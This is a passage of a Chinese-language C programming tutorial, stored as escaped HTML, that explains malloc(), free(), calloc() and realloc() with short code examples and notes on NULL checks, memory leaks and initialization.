class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e*p = \u003cspan class=\"number\"\u003e12\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, *p); \u003cspan class=\"comment\"\u003e// 12\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,先为整数类型分配一段内存,然后将整数\u003ccode\u003e12\u003c/code\u003e放入这段内存里面。这个例子其实不需要使用\u003ccode\u003emalloc()\u003c/code\u003e,因为 C 语言会自动为整数(本例是\u003ccode\u003e12\u003c/code\u003e)提供内存。\u003c/p\u003e\u003cp\u003e有时候为了增加代码的可读性,可以对\u003ccode\u003emalloc()\u003c/code\u003e返回的指针进行一次强制类型转换。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = (\u003cspan class=\"type\"\u003eint\u003c/span\u003e*) \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码将\u003ccode\u003emalloc()\u003c/code\u003e返回的 void 指针,强制转换成了整数指针。\u003c/p\u003e\u003cp\u003e由于\u003ccode\u003esizeof()\u003c/code\u003e的参数可以是变量,所以上面的例子也可以写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = (\u003cspan class=\"type\"\u003eint\u003c/span\u003e*) \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(*p));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003emalloc()\u003c/code\u003e分配内存有可能分配失败,这时返回常量 NULL。Null 的值为0,是一个无法读写的内存地址,可以理解成一个不指向任何地方的指针。它在包括\u003ccode\u003estdlib.h\u003c/code\u003e等多个头文件里面都有定义,所以只要可以使用\u003ccode\u003emalloc()\u003c/code\u003e,就可以使用\u003ccode\u003eNULL\u003c/code\u003e。由于存在分配失败的可能,所以最好在使用\u003ccode\u003emalloc()\u003c/code\u003e之后检查一下,是否分配成功。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (p == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 内存分配失败\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// or\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!p) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,通过判断返回的指针\u003ccode\u003ep\u003c/code\u003e是否为\u003ccode\u003eNULL\u003c/code\u003e,确定\u003ccode\u003emalloc()\u003c/code\u003e是否分配成功。\u003c/p\u003e\u003cp\u003e\u003ccode\u003emalloc()\u003c/code\u003e最常用的场合,就是为数组和自定义数据结构分配内存。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = (\u003cspan class=\"type\"\u003eint\u003c/span\u003e*) \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e) * \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e10\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e p[i] = i * \u003cspan class=\"number\"\u003e5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ep\u003c/code\u003e是一个整数指针,指向一段可以放置10个整数的内存,所以可以用作数组。\u003c/p\u003e\u003cp\u003e\u003ccode\u003emalloc()\u003c/code\u003e用来创建数组,有一个好处,就是它可以创建动态数组,即根据成员数量的不同,而创建长度不同的数组。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = (\u003cspan class=\"type\"\u003eint\u003c/span\u003e*) \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(n * \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003emalloc()\u003c/code\u003e可以根据变量\u003ccode\u003en\u003c/code\u003e的不同,动态为数组分配不同的大小。\u003c/p\u003e\u003cp\u003e注意,\u003ccode\u003emalloc()\u003c/code\u003e不会对所分配的内存进行初始化,里面还保存着原来的值。如果没有初始化,就使用这段内存,可能从里面读到以前的值。程序员要自己负责初始化,比如,字符串初始化可以使用\u003ccode\u003estrcpy()\u003c/code\u003e函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* p = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"number\"\u003e4\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(p, \u003cspan class=\"string\"\u003e\u0026#34;abc\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// or\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ep = \u003cspan class=\"string\"\u003e\u0026#34;abc\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,字符指针\u003ccode\u003ep\u003c/code\u003e指向一段4个字节的内存,\u003ccode\u003estrcpy()\u003c/code\u003e将字符串“abc”拷贝放入这段内存,完成了这段内存的初始化。\u003c/p\u003e\u003ch3 id=\"free\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#free\" class=\"headerlink\" title=\"free()\"\u003e\u003c/a\u003efree()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efree()\u003c/code\u003e用于释放\u003ccode\u003emalloc()\u003c/code\u003e函数分配的内存,将这块内存还给系统以便重新使用,否则这个内存块会一直占用到程序运行结束。该函数的原型定义在头文件\u003ccode\u003estdlib.h\u003c/code\u003e里面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003efree\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* block)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,\u003ccode\u003efree()\u003c/code\u003e的参数是\u003ccode\u003emalloc()\u003c/code\u003e返回的内存地址。下面就是用法实例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = (\u003cspan class=\"type\"\u003eint\u003c/span\u003e*) \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e*p = \u003cspan class=\"number\"\u003e12\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efree\u003c/span\u003e(p);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,分配的内存块一旦释放,就不应该再次操作已经释放的地址,也不应该再次使用\u003ccode\u003efree()\u003c/code\u003e对该地址释放第二次。\u003c/p\u003e\u003cp\u003e一个很常见的错误是,在函数内部分配了内存,但是函数调用结束时,没有使用\u003ccode\u003efree()\u003c/code\u003e释放内存。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003egobble\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e arr[], \u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e* temp = (\u003cspan class=\"type\"\u003edouble\u003c/span\u003e*) \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(n * \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003egobble()\u003c/code\u003e内部分配了内存,但是没有写\u003ccode\u003efree(temp)\u003c/code\u003e。这会造成函数运行结束后,占用的内存块依然保留,如果多次调用\u003ccode\u003egobble()\u003c/code\u003e,就会留下多个内存块。并且,由于指针\u003ccode\u003etemp\u003c/code\u003e已经消失了,也无法访问这些内存块,再次使用。\u003c/p\u003e\u003ch3 id=\"calloc\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#calloc\" class=\"headerlink\" title=\"calloc()\"\u003e\u003c/a\u003ecalloc()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003ecalloc()\u003c/code\u003e函数的作用与\u003ccode\u003emalloc()\u003c/code\u003e相似,也是分配内存块。该函数的原型定义在头文件\u003ccode\u003estdlib.h\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e两者的区别主要有两点:\u003c/p\u003e\u003cp\u003e(1)\u003ccode\u003ecalloc()\u003c/code\u003e接受两个参数,第一个参数是某种数据类型的值的数量,第二个是该数据类型的单位字节长度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* \u003cspan class=\"title function_\"\u003ecalloc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003esize_t\u003c/span\u003e n, \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e size)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003ecalloc()\u003c/code\u003e的返回值也是一个 void 指针。分配失败时,返回 NULL。\u003c/p\u003e\u003cp\u003e(2)\u003ccode\u003ecalloc()\u003c/code\u003e会将所分配的内存全部初始化为\u003ccode\u003e0\u003c/code\u003e。\u003ccode\u003emalloc()\u003c/code\u003e不会对内存进行初始化,如果想要初始化为\u003ccode\u003e0\u003c/code\u003e,还要额外调用\u003ccode\u003ememset()\u003c/code\u003e函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = \u003cspan class=\"built_in\"\u003ecalloc\u003c/span\u003e(\u003cspan class=\"number\"\u003e10\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e) * \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(p, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e) * \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ecalloc()\u003c/code\u003e相当于\u003ccode\u003emalloc() + memset()\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003ecalloc()\u003c/code\u003e分配的内存块,也要使用\u003ccode\u003efree()\u003c/code\u003e释放。\u003c/p\u003e\u003ch3 id=\"realloc\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#realloc\" class=\"headerlink\" title=\"realloc()\"\u003e\u003c/a\u003erealloc()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003erealloc()\u003c/code\u003e函数用于修改已经分配的内存块的大小,可以放大也可以缩小,返回一个指向新的内存块的指针。如果分配不成功,返回 NULL。该函数的原型定义在头文件\u003ccode\u003estdlib.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* \u003cspan class=\"title function_\"\u003erealloc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* block, \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e size)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eblock\u003c/code\u003e:已经分配好的内存块指针(由\u003ccode\u003emalloc()\u003c/code\u003e或\u003ccode\u003ecalloc()\u003c/code\u003e或\u003ccode\u003erealloc()\u003c/code\u003e产生)。\u003c/li\u003e\u003cli\u003e\u003ccode\u003esize\u003c/code\u003e:该内存块的新大小,单位为字节。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003ccode\u003erealloc()\u003c/code\u003e可能返回一个全新的地址(数据也会自动复制过去),也可能返回跟原来一样的地址。\u003ccode\u003erealloc()\u003c/code\u003e优先在原有内存块上进行缩减,尽量不移动数据,所以通常是返回原先的地址。如果新内存块小于原来的大小,则丢弃超出的部分;如果大于原来的大小,则不对新增的部分进行初始化(程序员可以自动调用\u003ccode\u003ememset()\u003c/code\u003e)。\u003c/p\u003e\u003cp\u003e下面是一个例子,\u003ccode\u003eb\u003c/code\u003e是数组指针,\u003ccode\u003erealloc()\u003c/code\u003e动态调整它的大小。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eb = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e) * \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eb = \u003cspan class=\"built_in\"\u003erealloc\u003c/span\u003e(b, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e) * \u003cspan class=\"number\"\u003e2000\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,指针\u003ccode\u003eb\u003c/code\u003e原来指向10个成员的整数数组,使用\u003ccode\u003erealloc()\u003c/code\u003e调整为2000个成员的数组。这就是手动分配数组内存的好处,可以在运行时随时调整数组的长度。\u003c/p\u003e\u003cp\u003e\u003ccode\u003erealloc()\u003c/code\u003e的第一个参数可以是 NULL,这时就相当于新建一个指针。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* p = \u003cspan class=\"built_in\"\u003erealloc\u003c/span\u003e(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, \u003cspan class=\"number\"\u003e3490\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* p = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"number\"\u003e3490\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果\u003ccode\u003erealloc()\u003c/code\u003e的第二个参数是\u003ccode\u003e0\u003c/code\u003e,就会释放掉内存块。\u003c/p\u003e\u003cp\u003e由于有分配失败的可能,所以调用\u003ccode\u003erealloc()\u003c/code\u003e以后,最好检查一下它的返回值是否为 NULL。分配失败时,原有内存块中的数据不会发生改变。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e* new_p = \u003cspan class=\"built_in\"\u003erealloc\u003c/span\u003e(p, \u003cspan 